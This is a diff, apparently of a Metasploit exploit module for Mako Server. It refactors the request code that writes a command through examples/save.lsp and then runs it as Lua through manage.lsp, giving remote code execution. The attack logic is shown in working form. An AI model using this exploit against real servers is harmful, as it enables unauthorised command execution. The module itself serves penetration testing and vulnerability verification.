@@ -42,7 +42,7 @@ def initialize(info = {})
42
42
43
43
register_options (
44
44
[
45
- OptString . new ( 'URI ' , [ true , 'URI path to the Mako Server app' , '/' ] )
45
+ OptString . new ( 'TARGETURI ' , [ true , 'URI path to the Mako Server app' , '/' ] )
46
46
]
47
47
)
48
48
end
@@ -53,17 +53,17 @@ def check
53
53
# Send GET request to determine existence of save.lsp page
54
54
res = send_request_cgi ( {
55
55
'method' => 'GET' ,
56
- 'uri' => normalize_uri ( datastore [ 'URI' ] , 'examples/save.lsp' )
56
+ 'uri' => normalize_uri ( target_uri . path , 'examples/save.lsp' )
57
57
} , 20 )
58
58
59
59
# If response does not include "MakoServer.net", target is not viable.
60
- if res . headers [ 'Server' ] !~ /MakoServer.net/
60
+ if res . headers [ 'Server' ] !~ /MakoServer\ . net/
61
61
vprint_warning ( 'Target is not a Mako Server.' )
62
62
return CheckCode ::Safe
63
63
end
64
64
65
65
if res . body
66
- if res . body =~ / Incorrect usage/
66
+ if res . body . include? ( ' Incorrect usage' )
67
67
# We are able to determine that the server has a save.lsp page and
68
68
# returns the correct output.
69
69
vprint_status ( 'Mako Server save.lsp returns correct ouput.' )
@@ -80,7 +80,7 @@ def check
80
80
return CheckCode ::Unknown
81
81
end
82
82
83
- return CheckCode ::Safe
83
+ CheckCode ::Safe
84
84
end
85
85
86
86
def exploit
@@ -98,13 +98,12 @@ def exploit
98
98
begin
99
99
vprint_status ( 'Sending PUT request to save.lsp...' )
100
100
send_request_cgi ( {
101
- 'method' => 'PUT' ,
102
- 'uri' => normalize_uri ( datastore [ 'URI' ] , 'examples/save.lsp?ex=2.1' ) ,
103
- 'ctype' => 'text/plain' ,
104
- 'data' => cmd ,
105
- 'http' => {
106
- 'X-Requested-With' => 'XMLHttpRequest' ,
107
- 'Referer' => 'http://localhost/Lua-Types.lsp'
101
+ 'method' => 'PUT' ,
102
+ 'uri' => normalize_uri ( target_uri . path , 'examples/save.lsp' ) ,
103
+ 'ctype' => 'text/plain' ,
104
+ 'data' => cmd ,
105
+ 'vars_get' => {
106
+ 'ex' => '2.1'
108
107
}
109
108
} , 20 )
110
109
rescue StandardError => e
@@ -115,8 +114,13 @@ def exploit
115
114
begin
116
115
vprint_status ( 'Sending GET request to manage.lsp...' )
117
116
send_request_cgi ( {
118
- 'method' => 'GET' ,
119
- 'uri' => normalize_uri ( datastore [ 'URI' ] , 'examples/manage.lsp?execute=true&ex=2.1&type=lua' )
117
+ 'method' => 'GET' ,
118
+ 'uri' => normalize_uri ( target_uri . path , 'examples/manage.lsp' ) ,
119
+ 'vars_get' => {
120
+ 'execute' => 'true' ,
121
+ 'ex' => '2.1' ,
122
+ 'type' => 'lua'
123
+ }
120
124
} , 20 )
121
125
rescue StandardError => e
122
126
fail_with ( Failure ::NoAccess , "Error: #{ e } " )
0 commit comments